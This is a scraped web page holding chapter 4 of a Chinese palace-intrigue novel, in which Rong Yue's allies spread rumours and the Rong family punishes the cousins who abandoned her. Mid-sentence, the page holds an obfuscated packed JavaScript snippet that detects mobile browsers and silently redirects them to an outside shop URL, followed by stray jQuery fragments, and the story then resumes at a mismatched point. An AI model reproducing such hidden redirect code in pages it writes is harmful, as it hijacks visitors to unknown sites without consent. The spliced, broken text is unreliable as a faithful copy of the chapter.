文趣网 > 其他小说 > 檀珠劫 > 4. 流言风波
    “小珍珠,在写什么呢?”

    容樾放下笔遮住自己那写的像“爬虫”一样字,挠了挠头,说:“秦姨,你怎么来了?”

    秦蓁眼尖,看到了宣纸边缘歪歪扭扭的几个字,放下药碗摸了摸她的头说:“我不笑话你,遮什么?”

    “咳咳,字丑。”

    说完又觉得不好意思,脸红扑扑的很。

    “不丑,多练练就好了。”秦蓁失笑,把药递给她

    看着黑乎乎的汤药,容樾又想起之前宇文聿灌她喝下的那碗哑药。

    也是又苦又涩。

    秦蓁接过空碗,见她脸色不佳,给她递去蜜饯。她说:“含一颗在嘴里,会好一些。”

    “好。”

    她看着秦蓁,甜味入口,心中万般疼涩此刻也尽数散去。

    秦蓁看她实在乖巧,怜惜她这些年在容家受的苦,陪着她说了好一会儿话又细细叮嘱了一番才离去。

    容樾低头看着自己写的“爬虫”字,皱着眉头把宣纸揉成一团。她重新铺了一张纸,一笔一划的又写了一遍。

    “南絮。”

    屋外,一个青衣女子推门而入。

    来人眉眼狭长,五官清秀,身形高挑纤细,气质成熟又清冷。

    下午宇文承桓派来伺候她的原是府中最拔尖的两个侍女。

    但她不想要。

    最后求了宇文承桓,才跟着秦蓁去牙行买回了南絮。

    “小姐,有什么吩咐?”

    “交代给你的事情,办的如何了?”

    容樾低着头继续写字,桌上的茶水已经凉透了。

    南絮低垂着眼眸回:“都安排好了,李家小姐那边已经在动了。”

    这李家小姐李雪姿是丞相府唯一的千金,从小就备受宠爱,千娇万宠的长大。这么多年也就独独在容馨瑶的身上栽了好几个大跟头。

    整个封都都知道她们现在是水火不相容。

    “那便等一等吧。”

    ……

    书房里,惊尘进来汇报。

    “主子,三小姐找了几个百姓在李家采买下人的必经之路上散播了一些秋猎被丢下的事。”

    宇文承桓稳稳的坐着看书。“李家?倒是会挑人。”

    惊尘问:“那外面需要推一把吗?”

    “不用。把李家小姐跟容二的旧事,过节都详细整理出来送到她面前。”

    惊尘不解,他说:“主子,那些事整个封都都知道。三小姐能找上李家,想必也是清楚的。何必多此一举呢?”

    “既然动了,那就别让她在暗处瞎撞。小七圈养了她一年多,她也未必就知道那些。”

    “是,属下这就去办。”惊尘转身要走。

    “……等等。”

    惊尘回头问:“主子?”

    宇文承桓把书合上,过了一会儿才说:“不要直接送,让李家那边给。”

    惊尘领命出去后,书房安静下来。

    宇文承桓重新翻开书本。看了两行,他忽然在想:以她现在的能力,能认得全那些字吗?

    啧

    他在想什么?

    嗯,没想什么,就是好烦躁。

    ……

    容家

    容馨瑶正坐在梳妆镜前卸头上的钗环首饰,眉眼倦懒。

    “清琳,王府那边还没有动静吗?”

    清琳拿着梳子给她梳头,回道:“小姐,王府里什么动静都没有。”

    “也是,一个废物。怎么可能入得了辅成王的眼。”

    容馨瑶扬了扬嘴角,得意又不屑。

    “小姐说的是。不过这三小姐也不知道走了什么狗屎运竟然被辅成王救下了。”

    “听人说王爷那日心情烦闷在山间赏雨,不过妹妹她运气倒是真的好。就是不知道她能在王府活多久了。”

    镜子里那张美艳的脸晃了一下。

    清琳一颤,她放下梳子。小心翼翼的搀扶着她。

    “小姐,奴婢扶你去休息吧。”

    容馨瑶刚要躺下休息,屋外传来了侍女清霜急促的声音。

    “小姐,出事了。”

    容馨瑶赶到正厅的时候,容家二房的人都已经在等着了。

    容瑾澜和容钊玉正跪在地上受罚。

    容老爷子和容老夫人端坐在主位面色沉冷,一言不发。

    “阿姐,阿兄,你们这是在做什么?”容馨瑶款款而来,一进门就看到容垣面色不善的瞪了自己一眼。

    不等座上的人发难,她就先跪下了。“不知可是瑶瑶哪里做错了才连累阿兄和阿姐受罚,还请祖父祖母明示。”

    座下女孩跪在地上低着头,脸色发白咬着唇,眼睛红的厉害。

    见她这样,容垣心里那股气散了不少,但依旧冷着脸没说话。

    “祖父,祖母。”容钊玉跪得笔直,他说:“丢下樾儿是我的不是。这件事跟瑶瑶和瑾澜没关系。要罚就罚我,不要迁怒她们。”

    容垣一听这话,不悦。他说:“跟她没关系跟谁有关系?你真是糊涂。”

    “阿兄……”

    容馨瑶抬眼时,帕子擦了擦眼,泫然欲泣。“到底怎么了?”

    容钊玉心疼坏了,扭过头看她。“瑶瑶,你先起来。”

    容瑾澜不赞成的扯了他的袖子一下。低声说:“大哥,你疯了?”

    与以往不同,这次容老爷子丝毫没有因为容馨瑶的可怜模样心软。他眼眸沉沉的看着跪成一排的三人。“跪好了。”

    容老夫人给他倒了一杯茶,轻声安抚他别生气。

    容老爷子喝了一口茶,勉强压下怒气。

    “祖父。”

    容馨瑶瑟缩了一下肩膀,适当的吸了吸鼻子。

    “你还有脸哭?”

    旁边的陆灵君剜了一眼容馨瑶,她说:“要不是你撺掇我儿把樾儿扔在山里,现在外头会有那么人议论我们容家吗?”

    “二婶,是妹妹不顾规矩和礼法先对我动手。阿兄只是为了保护我,千错万错都是我的错。你们不要怪阿兄了,我愿意认罚。”容馨瑶说完又重重的磕了一个头。

    “求祖父祖母放过阿兄阿姐。你们要罚就罚我一个人吧。”

    “哼,早干什么去了。”

    “夫人,你也少说两句。”容垣皱着眉拍了拍她的手。

    陆灵君偏过脸。

    “好了。”

    容老爷子一句话,众人都安静下来了。

    “钊儿,你是我最看重的孩子。但你现在,做事太不严谨了。”

    容钊玉一怔,他问:“祖父,我哪件事做的不严谨了?”

    看着自家儿子那副呆愣样,陆灵君就气不打一处来,狠狠戳他的脊梁骨。“我看你是被她迷昏头了。平日里宠她我也不拦你。可前日秋猎,那么多人在场,你丢下樾儿就算了,回来也不知道把尾巴擦干净。淋了点雨就把自己脑子都浇没了。”

    “她再怎么知书达理到底也是从花楼出来的,终究上不了台面。我们时常与你说别做得太过,你是半点没听进去。”

    容馨瑶被陆灵君当众揭了痛处,脸色涨红,身子轻颤着,泪珠滚落却无力辩驳。

    容垣面色也陡然不佳,余光瞥到容老爷子有些不高兴,暗暗掐了陆灵君的手指。

    “不是同你说了不要拿瑶瑶的出身说事?”

    后者吃痛,又狠狠瞪了容馨瑶一眼才悻悻闭了嘴。

    容钊玉于心不忍。他说:“母亲,瑶瑶出身是不好,可她懂事还处处为容家考虑。是樾儿容不下她百般胡闹,我才会那样对她。”

    “至于我的前程,我走到现在靠的是我的才华,能力,还有门第。至于外面的流言,我心自有明月在,何惧他人论长短。”

    “你知道外面是怎么说你的吗?”

    容老爷子睨了他一眼说:“外头都说你心思歹毒,为了一个义妹祸害自己亲妹妹。说我们容家卑鄙无耻,欺负长房无人就辱没了槐儿的遗孤。”

    听到容老爷子提起容槐,他的脸色凝滞。

    “樾儿是你大伯和婶婶唯一的血脉。幸而她是被辅成王救下了。若是她真的在坞山出了事,外头的闲言碎语都能把你碾碎。”

    容钊玉的脸上再没了血色。

    “三殿下的人前些日子刚刚递了折子请求提名你为吏部侍郎,如今陛下决断还未下,你就闹出这样的丑事。”

    容老爷子很不满,手里的杯子重重搁在桌上。

    “我……”

    容钊玉面如死灰,哑言。

    往日里护着容馨瑶,事事以她为先成习惯了,他确实没考虑过这些问题。

    “还有,李家小姐抓了你当众丢下樾儿害她坠崖的错处,现在连百姓都在说我们容家要替婚,说我们有欺君之嫌。朝堂上那些老狐狸,就更不必说了。”

    容老爷子动怒了。

    他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17780130|210089||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    孙儿那么金贵的人,外头的大场面向来是修持己身,从未出过错。偏生容樾坠崖的事情上犯了一次糊涂还被人抓了把柄。

    “这简直是荒谬。”容钊玉气急,面如猪肝。“樾儿是七皇子唯一的正妃,我从未动过旁人的念头。”

    容瑾澜跪得腿都麻了,她从始至终都一言不发。只是听到容钊玉这话时抬头看了他一眼又低下头。

    容馨瑶脸上的委屈快要藏不住,却死死压着自己的不甘心。

    “阿兄,我跟阿聿哥哥没有关系的。”她小声啜泣说:“我无意跟妹妹争什么。我只是想为家里分忧,没想过他们会误会,都是我不好。”

    “瑶瑶……”容钊玉张了张嘴,想到容老爷的话,到底没有像以前一样立刻就安慰她。

    “祖父祖母,二伯二婶,阿兄阿姐,我知道我终究是个外人,比不上妹妹。日后我不与啊聿哥哥接触就是了。”

    “胡闹!”容老爷子看了一眼跪在地上的人,轻声呵斥。

    其他几个人也都神色各异,无一人上前安慰。

    最后还是容老夫人。

    在贴身丫鬟梧桐的搀扶下起身把容馨瑶扶了起来。她慈爱的拍了拍容馨瑶的手背,神色柔和。

    “好孩子,什么外人不外人的。你也是我们容家的人,祖母自然也是疼你的。只是,最近是多事之秋,你也少些在樾儿跟七皇子面前转悠。”

    “可是祖母,我。”

    容馨瑶着急,想说的话未说完就被打断了。

    容老夫人没有再看她,松了手坐回位置上。

    “等樾儿回来后再做商议。你最是聪明乖巧,也莫要多想了。先坐。”

    从前,祖母从未在这样的场合直接了当的打断她的话。

    “是。”容馨瑶扶着膝盖踉跄了一瞬后坐下。

    “钊儿,澜儿,你们两个今晚去祠堂跪一个晚上。明日一早多带几个人再去王府把樾儿接回来。”

    容瑾澜点头应了一声好。

    “我知道了,祖父。”

    容钊玉跪在地上闷声继续说:“明日,我会好好跟樾儿道歉带她回家。”

    “嗯,她毕竟是你妹妹。到了王府,若是她闹些脾气你多应着些。”容垣也出声叮嘱。

    “没什么事都散了。”

    众人不敢再停留,各自散去。

    容瑾澜默默起身。她说:“大哥,你心中真的有明月在吗?”

    “瑾澜,我……”

    容瑾澜不想听他解释,迈步先行前往祠堂了。

    容钊玉走到门口刚要去追妹妹,就见身后容馨瑶拽着裙摆清琳的搀扶下慢慢走出来了。

    “阿兄。”

    “你腿还疼着不去上药休息怎么还跑出来了?”

    容馨瑶撞在他面前,被稳稳扶住。她说:“阿兄,我陪你一起跪祠堂。”

    她的脸白的厉害,哭过的眼睛很肿。

    “是我不好,我不该跟妹妹顶嘴,连累阿兄一时气怒扔下妹妹使得大家对阿兄议论纷纷。”

    “妹妹是生我的气,她不喜欢的也是我。是我的错,我不该来容家,不该跟七皇子接触。”

    容馨瑶轻轻拽了拽他的衣角。小声哭泣。

    容钊玉看着纤小的容馨瑶,内心软的一塌糊涂。他说:“你就是太善良了。这次的事情是我自己大意才险些害了樾儿,与你没关系。别自责了,快些回去休息吧。”

    “可是阿兄,明明是我的错却是你受罚……”

    容馨瑶满是柔弱,长长的睫毛垂下时遮住了眼底的阴霾。

    今晚的事情打了她一个措手不及,李雪姿那边也绝不会放过这个拉踩她的机会。

    而且,她能感觉得到今日容家人提起容樾时,态度有些微妙。

    她太清楚这一家子的心思了,也太清楚自己从始至终就是一个棋子。

    身为棋子,最悲哀的不是被摆布,而是连棋盘都上不了。

    安于被利用先做一颗有用的棋子,才能在棋局中摸清全貌,找到生路翻盘。

    女孩仰起头的时候,眼睛已经是亮亮的了。“阿兄,我于心难安。求求你让我跟你一起去罚跪吧。”

    “你不让我去,以后,以后都不知道怎么该面对你了……”

    容钊玉原是不愿意她受苦的,只是见她苦苦哀求又想到方才妹妹那意味不明的话,心里一疼。

    “好,我让人给你垫两个软枕……”